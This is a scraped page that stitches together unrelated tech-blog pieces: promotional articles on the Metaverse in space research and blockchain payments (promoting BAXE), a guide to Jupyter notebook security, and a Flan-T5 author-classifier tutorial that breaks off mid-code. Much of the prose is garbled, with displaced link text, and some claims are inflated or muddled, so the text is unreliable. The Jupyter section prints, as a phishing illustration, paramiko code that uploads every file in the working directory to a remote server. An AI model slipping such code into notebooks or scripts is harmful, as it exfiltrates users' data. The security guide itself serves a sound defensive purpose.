Here's what you should look for when watching the next "viral plane video" to make sure it's not staged, according to an actor.

TikToker points out sign that the 'viral plane video' you're watching might actually be fake: 'I can always tell'

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Space Research Meets The Metaverse Who isn’t aware of the Martian phenomenon of Life in today's high-tech world? Life on Mars is no longer a fantasy but a distant reality. Humans are all set to colonize other planets through their futuristic technological advances. And with technical wonders like the Metaverse, IoT, Artificial Intelligence, and machine learning, the research scale will only broaden. The Metaverse can dwell with almost all industries and has many benefits for each one. However, the Metaverse has outlawed most technologies in the field of research. With the Metaverse, the education and research sector has upscaled its business by creating simulations that assist experiments. The Metaverse also has given outstanding results in Space and Medical research. One can easily conduct a with the right tech stack. Metaverse Virtual Planet Trip Through immersive experiences, the researchers can conduct experiments with the naked eye and also be a part of them. According to CNBC, this industry will reach around a trillion dollars in 2040, with the launch cost estimations dropping by 95%. Defining The Metaverse The Metaverse is a virtual world created with an advanced tech stack that offers an overall immersive experience to the users. The Metaverse can provide not just an immersive experience through virtual gears but can also be a medium for marketing brands in an innovative way. And with the Metaverse, the Web3 space is leading the race of decentralization. Decentralization, as the word suggests, means removing the control of a third-party monitoring the transactions. The Metaverse falls under the umbrella of the Web3 space and facilitates its cutting-edge technologies. by users in the form of cryptocurrency that can later be converted into real money via exchange wallets. Metaverse platforms accept payments With a lot of technical craze in the current advanced world, the Metaverse is always fresh in the talks. How is Metaverse Opening New Frontiers For Space Researchers? Many of us are already aware of the experiments carried out with VR headsets, where individuals spent days living in mixed reality. This VR headset that serves as a medium to enter the Metaverse can also be a tool for carrying out various space experiments. Not just that, game engines can also help create virtual worlds that will fuel scientific studies by creating digital twins of situations the astronauts face in Space. Now let us understand the scope of Space research education In Metaverse by the following: Creating A Digital Twin A replicates a physical concept using highly technological solutions. A digital twin is created by the data collected by the IoT, where sensors are fit on physical objects and data is collected. For example, when creating a digital twin of a particular aircraft or satellite, the sensors on them record accurate data to make the digital twin as real as possible. digital twin Focusing on Physical Fitness The Metaverse can also effectively monitor the astronauts' mental well-being and physical fitness. The Houston-based Metaverse Development Company, Z3VR, is already in the run to develop a technology that will optimize the astronauts' physical fitness. This will be executed by developing a VR-based game that can portray the long-term biological results of a human body in space. Metaverse runs on the power of Blockchain Technology, with it, the astronauts' biometric data can be analyzed at a larger scale. This Houston-based company will work on making exercises an engaging activity for the astronauts with mobile sensors and other fresh VR Tech. A Medium To Monitor The Mental Well-Being Of The Astronauts During long space missions, it is quite easy for Astronauts to feel detached from the physical world. To deal with this, health professionals are finding ways for how the Metaverse can help. They have come up with a mixed reality experience to create virtual areas that will support the mental well-being of the astronauts. Luckily, many institutions like Simon Fraser University's iSpace Lab, are already using the Metaverse to do so. Many studies, like the SIRIUS International Isolation in 2021, were conducted to simulate an eight-month mission in an isolated space. The Metaverse will surely facilitate the Space Industry to be fully prepared for a Space mission before it launches. Virtual Space Experiments in Metaverse Thousands of experiments are conducted in the International Space Station, ranging from testing drugs to analyzing plant growth. With the correct use of Metaverse in the picture, these experiments can be performed virtually. The virtual tours of planets conducted both in and inside our solar system can easily facilitate in-depth analysis of the wonders of Space. Virtual Tours and Missions: Creating your Own Space-Themed Virtual World The International Space University has recently decided to enter the Metaverse to conduct virtual experiments in Space. ISU will partner with Metavisionaries to create a “Metaship.” This will be used for delivering lectures on interesting topics like the effects of unique space environments on the human body. Space researchers can leverage the Metaverse to create virtual tours of planets to train astronauts under the extreme conditions prevalent in space. With a virtual experience developed by a team of Metaverse developers, research can also be carried out easily, giving people a glimpse of the galaxies beyond our planet Earth. Are you a Space Enthusiast? Launch Your Own Metaverse Space Tour through the right Metaverse Development Company and explore Space from the comfort of your couch. relies on listing private vendors to build spacecraft and other types of equipment. Along with that, NASA also provides Exoplanet Excursions to explore Star Systems like the TRAPPIST-1 Star System. The immersive 7-minute virtual tour will give a 360-degree tour on Youtube. Another virtual tour is the International Space Station, which takes users on an immersive tour of the Space Crew's sleeping quarters and Hygiene Systems. NASA's Commercial Crew program https://youtu.be/SUYuxZSaeH0?list=PLTUZypZ67cdumL1V4yFWlfoxwjb3rDCzb?embedable=true Tech Stack Used In Creating A Space Themed Virtual World Technologies Ruling The Metaverse Let us go through some of the unique technologies that are a part of the Metaverse: Blockchain Technology Blockchain technology is a recent cutting-edge technology that keeps data safe and prevents third-party intervention at all costs. This technology works on storing data on distributed ledges with a backup of a thousand computer systems. This technology keeps user data secured and facilitates peer-to-peer payments in seconds. Cryptocurrency As The Mode of Exchange The Metaverse outlaws fiat modes of payments and works with tokens that hold a certain value in terms of real money and cryptocurrencies. Cryptocurrencies through exchange wallets can revert the payment in fiat money to the user. Cryptocurrencies are a robust solution to ease seamless payments without third-party interference. AI With AI (Artificial Intelligence), it is easier to picture the functioning of the Metaverse. Artificial Intelligence can perceive, synthesize and process information that normally is done by the human mind. With artificial Intelligence, computer systems can easily process a great deal of information in a fraction of a second with great accuracy. VR Virtual reality means creating virtual experiences through digital twins and simulations through VR Headsets. This is where the immersive experience of one actually being completely engulfed in the Metaverse occurs. Through virtual reality, humans have strongly created multiple Metaverses that have the ability to merge the digital and physical worlds and create a mixed world. In this space, the physical world will run parallel with the digital world, enabling users to live multiple lives simultaneously. IoT The Internet of Things will assist users in building, testing, and deploying any sort of customizable IoT application. IoT also involves interconnecting physical things with the environment and living things for ideal and effective data sharing. Simulations Through The Unreal Engine: Using Epic Games to Learn Virtual Reality Software As explained earlier, the concepts of digital twins and simulations replicate real-life situations digitally. The actual usage of the Metaverse in the space industry comes with simulations that are actively used for testing products, processes, and systems. Simulations are made on software applications with advanced computer designs. The models can both be created in a 3D or 2D space with mathematical concepts. The simulations will work by introducing a variety of variables inside the digital space that will assess suitable outcomes. The simulations to conduct virtual experiments in the Metaverse can be deployed by the Unreal Engine to various platforms with the smallest details accurately covered. The Pixel Streaming available in the can easily assist in delivering high-performance activities. The display system inherited by the Unreal Engine can render real-time information at a large scale while displaying that information on big LED screens. Epic Games Unreal Engine The Ideal Martian Metaverse: Benefits Of Metaverse For Space Researchers Reduced costs The Metaverse is a technological gift that offers a variety of benefits, like reduced costs to train personnel in virtual spaces rather than at a physical place. The cost is limited to creating a virtual world and equipment rather than traveling to a place to carry out those operations manually. For training astronauts in a digital zero-gravity vacuum before an actual space mission, costs can be highly reduced through the aid of the Metaverse. Data-Driven Decision Making The decision-making can yield successful results with the application of Metaverse tool sets that can analyze and detect problems before it occurs. Data-driven decision-making will always give better results than manual ones and decrease accidents. Especially when talking about the Space Industry, one slight error can fail the whole mission. This will result in not just the mission failing but also the loss of lives. Optimized Outcomes The key benefit of data-driven decision-making is that it can help researchers optimize the outcomes. Integrating metaverse in the training of astronauts or analyzing a Space Mission helps in a better understanding of the results before anything is done in the physical world. The accuracy of these results is perfect enough to train and alter any required information and optimize the outcomes. Wrapping Up The Metaverse welcomes every possible industry in its realms. With the space industry, the Metaverse can easily open new doors in research that will be efficient enough to yield cost-effective results. The astronauts rely on AR/VR for a variety of tasks already. As we know, even the strongest humans sometimes need a helping hand. And the astronauts are not any different. For them, the helping hands come in the form of other astronauts and, to a large extent, on the Metaverse. With AR/VR, several tasks are carried out in the International Space Station. The current use of  AR by the astronauts through the VR headset, “sidekick,” consists of HD holograms instructing a variety of tasks and showcasing them as 3D objects. Thus the Metaverse has already touched the Space Industry, and with it, the researchers are leveraging data like never before. More information on this project here.

Merging The Galaxies With The Metaverse

“The convergence of smartphone, blockchain, cloud, AI, 5G and other technologies, together with the democratization of social access and increased deregulation (financial services) is enabling a paradigm shift in the creation of new payment products, platforms and services.” - Andrew Broad, COO of BAXE Cash may be king, but digital payments are coming for the throne! Whether you like it or not, the payments industry is undergoing radical change. Whilst the payments industry was already on an upward trend on the digitization scale, the Covid-19 pandemic accelerated the process as demand by consumers for different forms of payment increased in order to minimise contact as much as possible in the midst of this global crisis. According to__ __, digital payment volumes are set to grow by more than 80% from the year 2020 to 2025, from approximately 1 trillion transactions to nearly 1.9 trillion, almost tripling to about 3 trillion by 2030. reports It is said that Asia-Pacific (APAC) will advance quickest with a projected volume increase of 109% by 2025, and an added 75% from 2025 to 2030. When did the digital payments revolution begin? Western Union pioneered the digital remittance movement when the company first debuted its electronic fund transfer (EFT), commonly known as “wiring” in 1871. This served as a quick solution to many who needed to send money near or far. In the early 1900s, the Federal Reserve started to transfer money via telegrams and wiring money became Western Union’s primary business. Western Union did not stop there; the company further upped their game in the payments industry in 1914 when it introduced charge accounts. These accounts worked by linking to cards of customers who could then use it to purchase items on credit. The “charge card” was the start of credit in the industry, providing users with funds to make purchases but requiring balances to be completely paid off at a predetermined interval. It became quite commonly used throughout the first half of the century. The industry further evolved with the introduction of credit cards in the 1950s. Fast forward to the internet era, electronic payments began to rapidly advance. Web 2.0 The invention of Web 2.0 set the stage for not only the rapid advancement of electronic payment systems but also the introduction of merchants to participate in what we know today as e-commerce. Amazon, one of the pioneers of eCommerce and the go-to virtual store for most of us, was founded in 1994. With e-commerce at the forefront of quicker and more efficient forms of cardless transactions, this led to the introduction of electronic verifications systems that allowed consumers to quickly verify and authorise digital payments from various channels. Not long after, mobile devices became popular methods of payment allowing consumers to pay for goods and services at the tap of a button through mobile wallets such as Apple Pay and Google Pay. APAC continues to lead the digital payments revolution E-commerce continues to grow with a projected growth of more than $4.6 trillion by 2022. The primary drive behind this is the lightning speed of which payments technology continues to evolve in the APAC region. Digital leaders such as Grab and Alipay continue to compete head to head in a battle to optimise their operations and provide the best possible customer experience. The adoption of various E-wallets such as GrabPay and WeChat has become increasingly popular in the region. E-Wallets have proven to be able to integrate encryption, biometrics, tokenization and device authentication, setting the bar high and redefining the list of what’s possible in the digital space. Blockchain-based global payments network So, what holds the key to the future? Simply put, blockchain-based global payments network. According to the World Economic Forum, by 2025, nearly will use either blockchain or blockchain related technology. Blockchain is a decentralised, digital ledger that facilitates the process of recording transactions as well as the tracking of assets in a network. It is a system that records information in a way that makes it nearly impossible to hack or cheat the system. Similarly, a blockchain-based global payments network is a decentralised system that facilitates payment messaging as well as clearing and settlement for all currency (i.e. fiat & digital) transactions in a single network. 10% of global GDP Evidently, a blockchain-based global payments network will be significantly beneficial. Firstly, a blockchain-based global payments network is not restricted by geographic borders; it exists anywhere and everywhere as long as there is internet access. All you would require in order to access your data and manage your funds would be a private key. With this key, you would be able to perform any form of a transaction from anywhere in the world. Furthermore, a major benefit of this payments network would be the ability to settle and clear transactions in one network. The beauty of a blockchain-based global payments network is the possible support of all types of currencies; both fiat and digital. This of course will serve as a simple solution to transactions anywhere in the world. Blockchain-based global payment networks stay true to the saying, “time is money.” The time it would take to transfer money through a blockchain-based global payments network is similar to that of a cryptocurrency transaction; mere minutes. Of course, one of the crucial benefits would be the transparency behind all transactions on the network. Through the use of a decentralised ledger that is multi-party validated, all transactions and exchange rates between currencies are immutable once agreed upon. What’s to Come With the evolution of technology comes the change in the global economy. Some firms may remain cautious and choose to opt-out of venturing within the blockchain space. Some may choose to take the leap and innovate within the space in order to revolutionise the industry. So, what’s the next big game-changer in the industry? is a pioneering integrated communications and peer-to-peer exchange platform, leveraging distributed ledger technology (DLT) and the innovation behind blockchain technology to create a super dApp that is set to usher in a new paradigm of integrated payment systems. BAXE The BAXE dApp combines banking-level functionality with high-level, sophisticated communications channels. BAXE brings all these features into an easy-to-use space with an accessible interface. With blockchain at the forefront of the digital payments revolution, it is bound to be a major influence in transforming the industry.

The Evolving Landscape of Digital Payments: Why Blockchain Holds the Key

State of The Creator Economy: SignalFire’s Market Map and Analysis

The Blockchain Scalability Problem & the Race for Visa-Like Transaction Speed

Did you know the second most downloaded VS Code marketplace tool is Jupyter? . It can be used locally on anyone’s machine or it can be used in the cloud through apps like JupyterHub. Jupyter is a great iterative coding environment but it was built as an open source academic tool and there are a few security risks to mitigate to use it on sensitive company data. 40M+ as of last year Local Jupyter, Global Risk Running Jupyter locally is the standard way of getting started. If you are a small team, you’re not going to want to deal with the headache of Docker and hosting, so everyone does or . pip install notebook pip install jupyterlab Now you need data! CSV risks Many data analysts download their datasets by exporting huge CSVs containing every data point so they can just use or . This makes analysis easier to access and keeps the data consistent. csv.reader() pandas.read_csv() Legal issues Most companies, where using a notebook is helpful, adhere to standards set , , , and , all of which have specific rules for data storage and handling–and those rules probably don’t have a subsection dedicated to storage and handling on ‘Dave’s macbook.’ GDPR CCPA HIPAA PCI DSS So if you have a CSV or some other exported data on your local machine, then are you allowed to have it? Attacks Data stored locally is typically not encrypted. Personal computers do now come with encryption capabilities (BitLocker on Windows, FileVault on Mac), but these aren’t turned on by default. And if they weren’t, often they can’t then be added as an afterthought. If a local computer lacks such encryption measures, it leaves the stored data vulnerable to a variety of threats – , Ransomware, Theft, and . Malware Phishing That last one, phishing, is an interesting security quirk with Jupyter notebooks. For instance, if you’re collaborating with a colleague on a notebook, it’s not uncommon to just email the .ipynb files back and forth (of course, you can kinda use version control). So if you were to receive an email ostensibly from your coworker saying ‘check out this cool visualization I added!,’ a lot of people wouldn’t think twice about opening it and running it. But the notebook could easily include the code below (maybe obfuscated across different cells and hidden in other code): import os
import paramiko

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=hostname, username=username, password=password)
sftp = ssh_client.open_sftp()
remote_directory_path = '/path/to/remote/directory'
for filename in os.listdir('.'):
  local_filepath = os.path.join('.', filename)
  if os.path.isfile(local_filepath):
    remote_filepath = os.path.join(remote_directory_path, filename)
    sftp.put(local_filepath, remote_filepath) Congrats, you’ve just uploaded all your data to a random server. Is this going to happen? Unlikely, but possible. But the wider point is that, with sensitive data on your local computer, you immediately open yourself up to all types of attacks. Jupyter Notebooks will run any code. Though they do have , the general idea is that you are the master of your domain–if you hit ‘Run all’, run all is what you get. Analyst beware. some safeguards Buyer Leaks Data can also be unintentionally leaked from a machine by the user. Firstly, through the cloud. Just like a lot of OSes don’t have encryption turned on by default, they do have cloud syncing turned on. It might not be obvious to a user that everything in their Documents or Downloads folder is also being uploaded to cloud storage (which again might not have the requisite compliance guarantees). Or at one point many moons ago you synced your Code folder to Dropbox or GDrive as an Ersatz version control and now it holds all the company’s data. But you can also leak it to your colleagues. If you are sharing notebook files, you’ll also have to share the data. Suddenly, your data isn’t just on your local computer. It’s sitting in your email, and your colleagues email. It’s sitting on your shared GDrive, or in GitHub. What was one copy you downloaded to make analysis a little easier, is now a dozen copies that are all in various states of unprotection dotted around the web. To mitigate the risks with using CSV files for Jupyter Notebooks you should follow the or connect directly to the database instead. standard corporate IT security training suggestions Database risks Most analysts at a company will use database connectors such as  snowflake-connector-python, psycopg2, or sqlalchemy to access their data. Accessing data this way means you don’t have to worry about the security of the local copy of data, or is vulnerability if the machine is compromised or stolen. You aren’t sharing the data files around so don’t have to worry about the copies. But you do have to worry about two things: Storing credentials Now the data isn’t the problem, it is the access to the data. You have to have your credentials stored correctly. Correctly means not hardcoded into your Jupyter Notebook, which you are emailing to people. This can be a glaring security risk as it gives anyone who has access to your notebook the keys to access your data, including potentially sensitive or proprietary information. Instead, you should use a secure method for managing your credentials. A simple and secure practice is to use . This involves storing your credentials in your system's environment and retrieving them in your notebook via function in . This way, you're not explicitly exposing your credentials in your code. environment variables os.getenv() Python Here's a basic example: import os

#Obtain credentials from environment variables

username = os.getenv('DB_USERNAME')
password = os.getenv('DB_PASSWORD') For an even higher level of security, consider using a dedicated secrets management service. These services, like or , securely store your sensitive data and provide programmatic access when needed, often through an API. AWS Secrets Manager HashiCorp Vault Jupyter does cache data in a number of ways, which could pose a security risk if not handled correctly. Cached data The main form of caching in Jupyter notebooks comes in the form of output cells. When you run a cell in a Jupyter notebook, the results are displayed under the cell and stored in the notebook file itself. This can include dataframes, graphs, images, or any other output. If your notebook contains sensitive data in the output cells, and the notebook file is shared or stored insecurely, it can lead to exposure of that data. For example, if you're querying sensitive data from a database, and then displaying that data directly in a Jupyter notebook, that data will be stored in the notebook file itself. This means you are open to all of the same security problems as with local data–if an attacker can access your notebook, they can access the data, or if you share the notebook, you are also sharing the saved data. Mitigating Local Jupyter Risks In terms of mitigating these security risks, it's a good practice to: Clear the output cells containing sensitive data before sharing or storing your notebooks. This can be done from the menu: Cell -> All Output -> Clear Regularly clear or secure your command history database. Be mindful of how and where you're sharing or storing your Jupyter notebooks. Consider using data masking or anonymizing techniques when working with sensitive data. Remember, while these steps can significantly reduce the risk, no system can be completely secure. Finally, released a Jupyter security extension, , as the culmination of their own research into the problems with Jupyter security. It scans your Jupyter environment for possible security issues and will highlight them for you in the notebook. NVIDIA Jupysec This type of proactive security should become a feature of your data pipeline if you are working with Jupyer in any capacity. But instead of having to actively manage the risk on your local machine, you could mitigate these risks by moving Jupyter into the cloud. There is a non-local way to run Juptyer notebooks: JupyterHub JupyterHub is a multi-user server that manages and provides Jupyter notebooks to a group of users. It is a centralized system that can serve Jupyter Notebook instances to multiple users, allowing them to work on interactive data science projects in their own personal workspace but on the same server. JupyterHub is particularly useful in an environment where you need to distribute computational resources and environments among several users, such as in large collaborative projects on a data team at a company. With JupyterHub, you can spawn, manage, and proxy multiple instances of the single-user Jupyter Notebook server. JupyterHub also includes: : JupyterHub has a pluggable authentication mechanism. It can be configured to use various authentication protocols, enabling integration with a broad range of identity providers like OAuth, LDAP, etc. Authentication : JupyterHub is often used with Docker to provide each user with their own isolated environment. Other container or virtual environment technologies like Kubernetes can also be used. Containerization : JupyterHub supports Role-Based Access Control, providing a fine-grained control system for defining user roles and assigning specific permissions to those roles. Role-Based Access Control (RBAC) RBAC, in particular, is an important feature that enables administrators to control who has access to what within JupyterHub. For instance, some users can be assigned the role of an 'admin' to manage the service, while others could be 'users' with access to their individual notebooks only. This capability helps enhance the security of JupyterHub and prevents unauthorized access to sensitive resources. It's particularly useful in large, collaborative environments where different levels of permissions and access rights need to be assigned. BUT, there’s a problem word in that previous paragraph–’administrators.’ Moving to JupyterHub is more secure if you administer the instance properly. However, effective administration of a JupyterHub instance is not a trivial task and requires a solid understanding of security principles, the JupyterHub system itself, and its associated technologies. A poorly administered JupyterHub instance can be just as risky, if not more, than individual Jupyter notebooks with lax security practices. Setting up the server, managing user permissions, ensuring that the system is regularly updated to patch any security vulnerabilities, monitoring for any suspicious activity, and responding to potential security incidents are all responsibilities that fall on the administrators. Ineffectively performing these duties could lead to a variety of risks, from data leakage to unauthorized access, to potential misuse of computational resources. Furthermore, the "human factor" also plays a significant role. Even the most secure systems can be compromised due to human error. Administrators, like all users, can make mistakes–they can accidentally grant excessive permissions to a user, overlook important security updates, or misconfigure security settings. Especially if those ‘administrators’ are actually just data leads. Effectively, moving to JupyterHub means that data lead on the team becomes more like DevOps, supporting the admin side of deploying the instance rather than working on the data. Secure Cloud Notebooks You can run Jupyter notebooks securely–it just takes a lot of effort. If you are a large team, you probably need someone dedicated to this, and you’ll need a codified process that’s incorporated into your training so everyone knows how to use Jupyter securely. But there are alternatives–cloud notebooks. Risk Mitigation Jupyter with CSV data Data is stored or replicated in a non secure place Connect directly to a database Jupyter with Database data Credentials may be stored in a non secure place or sensitive data may be cached and accessed Use Jupyter in the cloud Cloud Jupyter Permissions and environments are not properly set up so people have improper access and try to move data into other environments. Use Cloud notebooks By leveraging cloud notebooks, teams can focus more on deriving insights from their data and less on navigating the complexities of securing Jupyter notebooks. Some options for analysts are: Deepnote is a unique cloud notebook designed to offer a seamless and interactive experience for data scientists and engineers working in Python. This platform offers real-time collaboration, enabling multiple users to work on the same notebook concurrently. One of its strengths is the intuitive and user-friendly interface, which makes it easier for users to develop, run, and share their code. Deepnote integrates effortlessly with various data sources and tools, promoting accessibility and versatility. Deepnote For security, Deepnote offers encrypted connections, ensuring data sent and received is protected from unwanted eyes. It also provides a robust permission system, allowing team leaders to dictate who can view or edit specific projects. Its smart features, like variable explorer and auto visualizations, help elevate overall productivity, making it a go-to choice for professionals in the field of data science. Google Colab s a widely recognized and utilized cloud notebook service provided by Google. It enables users to write and execute Python code in a web browser with zero configuration, free GPU access, and easy sharing. Colab is well-regarded for its ease of use, accessibility, and integration with Google Drive and other Google services. Google Colab i It's deeply integrated with Google Drive, allowing easy sharing and collaboration within familiar Google environments. Security is bolstered by Google's robust infrastructure, which encrypts data both in transit and at rest. Given that it's a Google product, users benefit from the same security measures applied across Google services. For teams operating in a Google-based ecosystem, Google Colab presents an accessible and secure environment for notebook execution, especially when budget constraints are in play. It supports various machine learning libraries and frameworks, making it an ideal environment for machine learning and data analysis projects. The provision of free resources and the user-friendly interface have contributed to its immense popularity among educators, researchers, and developers. Hex offers a centralized platform where you can conduct your data analysis, visualize the results, and even create interactive data apps–all while maintaining high levels of security. This eliminates the risk of unencrypted data exposure and unauthorized access that may occur when notebooks are distributed across local machines. Hex Hex ensures that all data sent and received are encrypted, mitigating the risk of data interception. And perhaps one of the most appealing security features of Hex is its ephemeral nature. After a user session ends, no residual data is left on the servers, minimizing the risks associated with data at rest. Hex also simplifies the access control process. Instead of each analyst managing their own set of credentials to connect to databases or APIs, Hex provides an interface where your team can centrally control and monitor who has access to what data. Lastly, Hex is HIPAA and SOC2-compliant, meaning it adheres to some of the strictest standards when it comes to protecting sensitive and personal information. This makes it an attractive option, especially for businesses operating in industries like healthcare or finance where data security is paramount. Amazon SageMaker is a fully managed service that provides developers and data scientists the ability to build, train, and deploy machine learning models quickly. It is highly scalable and flexible, allowing users to create Jupyter notebooks for easy data exploration and analysis. SageMaker stands out due to its wide array of features, including built-in algorithms, model tuning, and high-performance runtime for inference. Amazon SageMaker Security is at its core, given that it's a part of the AWS suite. All data is encrypted in transit and at rest in the SageMaker environment. With fine-grained access controls, businesses can stipulate who can access specific datasets, notebooks, or model artifacts. Its integration with AWS Key Management Service (KMS) also means that users can create and control their encryption keys. Furthermore, SageMaker complies with key certifications such as HIPAA, making it a go-to for industries that demand high levels of data protection. SageMaker is particularly beneficial for enterprises and professionals looking to deploy robust and efficient machine-learning solutions. Paperspace is a high-performance cloud computing platform that focuses on developing machine learning, data science, and other compute-intensive projects. It offers Gradient, a cloud notebook platform aimed at enabling collaboration and development in machine learning and deep learning. Paperspace provides powerful GPU-backed machines, making it suitable for training complex models. Paperspace Safety and security are given top priority, with all data transmissions secured via SSL/TLS encryption. Their cloud infrastructure ensures that data at rest is also encrypted, guarding against potential breaches. With its team-focused features, Paperspace allows admins to easily manage access controls, ensuring only authorized personnel have access to critical datasets or models. Furthermore, its snapshot feature means that your work can be easily backed up, adding another layer of data security. The platform is appreciated for its versatility, allowing users to run different types of environments and supporting various machine learning frameworks. Its scalable infrastructure and advanced features make it an attractive option for professionals working on demanding computational tasks. Whichever you choose, it's essential that all users remain aware of security best practices, as technology can only mitigate, not eliminate, security risks.

Working Securely with Jupyter

With the growth of LLM models like ChatGPT, there has been a rush by firms to commercialize language-based deep learning applications. Companies like Duolingo and Blinkist are building educational chat applications, firms like Cocounsel are building document analysis models, and some, like MedGPT, are even building specialist models that can do things like medical diagnosis. In a previous article, I wrote about how someone can use ChatGPT and prompt engineering to build a power document analyzer. In order to support more powerful and domain-specific LLM applications, technology providers have made many cloud solutions available. OpenAI, the company behind ChatGPT, for example, has made a simple but powerful fine-tuning API available to users, allowing users to build their own language models based on GPT3 technology. Google, not to be outdone, made their bison-text model, widely considered a capable competitor to GPT 3 and GPT 3.5, available for fine-tuning through the Google Cloud platform. In a previous article, I wrote about how to use the fine-tuning API to create a domain expert LLM. As powerful as these services can be, a company considering a serious investment in LLM technology will want to learn to train their own models from open-source technologies. : Compared to using these vendor-provided endpoints, training your own model gives the following advantages You gain the flexibility of choosing and changing your deployment infrastructure. This can lead to cost savings, closer integration, and perhaps most importantly in medical and financial applications, more privacy. You get more control over the underlying technology, giving you a choice of open-source models to use. Different open source models are built with different use cases in mind, and you can choose the best tool for the job. Your applications become more future-proof. By using open source technology, you can set your own pace of development. You can use the state-of-the-art technology, and you won’t have to worry about vendor deprecations and service outages. In this article, we will take a popular and capable open-source LLM model, train it on our own data similar to what we did in a previous article, and validate the results. While the example we’re tackling is non-commercial and based on public information, the techniques can be easily cross-applied to commercial endeavors. in the “Expert LLM Model” section where we define the problem we’ll be solving in this article. We will delve into specific suggestions on what commercial applications can be built using this technique Underlying Technologies Flan-T5 For today’s experiment, we will be on Flan-T5 Large, which is a large language model released by Google. While this is not the technology that underlies Bard, this model is widely considered to be competitive with GPT-based technologies. What’s impressive about the Flan T5 models, however, is that they achieve satisfactory results using far fewer parameters than GPT based models. Even the XL version of the model, for example, only has 3 billion parameters, compared to GPT3, which has 175 billion. relying As a result of this compactness, it is relatively cheap to train and store these models on cloud computing assets. Additionally, the Flan-T5 family of models are released with the Apache license, which allows for commercial use, reducing potential license headaches that accompany some of the other open source LLMs. Facebooks’ LLaMa, for example, is still available only for research and non-commercial purposes. To write this article, I experimented with a few different classes of tasks to test the effectiveness of the technology. Generally, Flan-T5, especially the XL variant, seems to have great natural language understanding capabilities similar to some of the GPT models on the market. However, the model falls short somewhat when drawing abstract connections, and has some trouble generating long outputs. Therefore, one should take care to select the right model for the right task. Replicate Replicate is a Platform-as-a-Service company that people to rent GPUs for training and running large AI models at an affordable price. Their suite of AI model management tools allows users to focus on working with data instead of managing server resources. allows In order to write this article, I tried several AI training PaaS offerings including AWS SageMaker, Google Colab, and PaperSpace Gradient. Replicate was by far the easiest platform to get started with, and offered very competitive pricing relative to the other services mentioned. Python Python is the lingua franca of data engineering. The extensive ecosystem allows programmers to quickly ingest, analyze, and process data. Most major AI training platforms have first-class support for Python, which makes our job much easier. Because of Replicate’s excellent integration, we will be writing all of our code today in Python. Expert LLM Model Playwright Classifier Because the Flan-T5 family of models is much better at understanding text than generating text, we want to choose a task that is heavy on input but light on output. Natural language classifiers are a perfect use-case for this type of scenario, so today we will be building a playwright identifier. Specifically, we will be giving the model passages from either William Shakespeare or Anton Chekhov, and see if we can teach the model to identify the playwright based on the writing style and word choice. Of course, because this is a public tutorial, we are intentionally choosing a model with public and easily accessible data. . Here are some examples where natural language classifiers may be useful: However, this can easily be adapted to a commercial context Sorting customer reviews and complaints into various categories such as shipping problems, product quality, customer service, etc. Performing sentiment analysis on a sales call transcript to see if the prospect had a change in their mood during the call. Analyzing a large number of earnings calls transcripts to determine if CEOs are generally bullish or bearish. Building the Training Data To create the training data, we can download some Anton Chekhov and William Shakespeare plays from Project Gutenberg. To set up the data ingestion, we can run the following Python script. import requests
import openai
import replicate
import os
import pandas as pd
import random

texts = {
    'chekhov': 'https://www.gutenberg.org/files/7986/7986-0.txt',
    'chekhov_2': 'https://www.gutenberg.org/cache/epub/1755/pg1755.txt',
    'shakespeare_midsummer': 'https://www.gutenberg.org/cache/epub/1514/pg1514.txt',
    'shakespeare_romeo_juliet': 'https://www.gutenberg.org/cache/epub/1112/pg1112.txt',
    'shakespeare_macbeth': 'https://www.gutenberg.org/cache/epub/2264/pg2264.txt',
    'shakespeare_hamlet': 'https://www.gutenberg.org/cache/epub/2265/pg2265.txt',
} Now we create the training data folder and download the texts: if not os.path.exists('training_text'):
    os.mkdir('training_text')
for name, url in texts.items():
    print(name)
    res = requests.get(url)
    with open(os.path.join('training_text', '%s.txt' % name), 'w') as fp_write:
        fp_write.write(res.text) You should see some outputs like this to show you it succeeded: chekhov
chekhov_2
shakespeare_midsummer
shakespeare_romeo_juliet
shakespeare_macbeth
Shakespeare_hamlet You can also check the training_text folder to see that the files were properly downloaded. Now we want to read these files back into memory and split them into a list of lines. While we’re at it, we’ll count the number of lines in each file. lines_by_file = {}
for fn in os.listdir('training_text'):
    if not fn.endswith('.txt'):
        continue
    with open(os.path.join('training_text', fn)) as fp_file:
        lines_by_file[fn.split('.')[0]] = '\n'.join(fp_file.readlines())
        print(fn, len(lines_by_file[fn.split('.')[0]])) You should see output like the below: shakespeare_midsummer.txt 120198
shakespeare_romeo_juliet.txt 179726
shakespeare_macbeth.txt 140022
shakespeare_hamlet.txt 204169
chekhov.txt 419063
chekhov_2.txt 148324 Now comes the fun part. We want to split the lines into real training data. To do so, we first remove the first and last 1000 lines, which is taken up by introduction, header and footer content. Then, we will grab the remaining text 50 lines at a time. We will then turn the 50 lines into a prompt-and-completion pair. train_data = []
for k in lines_by_file:
    is_chekhov = 'chekhov' in k
    useful_lines = lines_by_file[k].split('\n')[1000:-1000]
    
    prompt_fmt = "Which playwright wrote the following passage? \n ==== \n %s \n ====" 
    for i in range(0, len(useful_lines), 50):
        training_set = useful_lines[i: i+50]
        train_data.append({
            'prompt': prompt_fmt % '\n'.join(training_set),
            'completion': 'Anton Chekhov' if is_chekhov else 'William Shakespeare'
        }) So now we have clearly defined the problem - given 50 lines of text from a play, determine if the playwright is Anton Chekov or William Shakespeare. We’re not done just yet. We need to write the data into jsonl (JSON Lines) format for training, and we also want to reserve a few samples for testing purposes. Run the following code like so: df = pd.DataFrame(train_data)
df_chekhov = df[df['completion'] == 'Anton Chekhov']
df_shakespeare = df[df['completion'] == 'William Shakespeare']
chekhov_test_indices = random.sample(df_chekhov.index.tolist(), 15)
shakespeare_test_indices = random.sample(df_shakespeare.index.tolist(), 15)
df_chekhov_test = df_chekhov.loc[chekhov_test_indices]
df_shakespeare_test = df_shakespeare.loc[shakespeare_test_indices]
df_chekhov_train = df_chekhov.loc[[i for i in df_chekhov.index if i not in chekhov_test_indices]]
df_shakespeare_train = df_shakespeare.loc[[i for i in df_shakespeare.index if i not in shakespeare_test_indices]]

pd.concat([df_chekhov_train, df_shakespeare_train]).to_json('chekhov_shakespeare_train.jsonl', orient='records', lines=True)
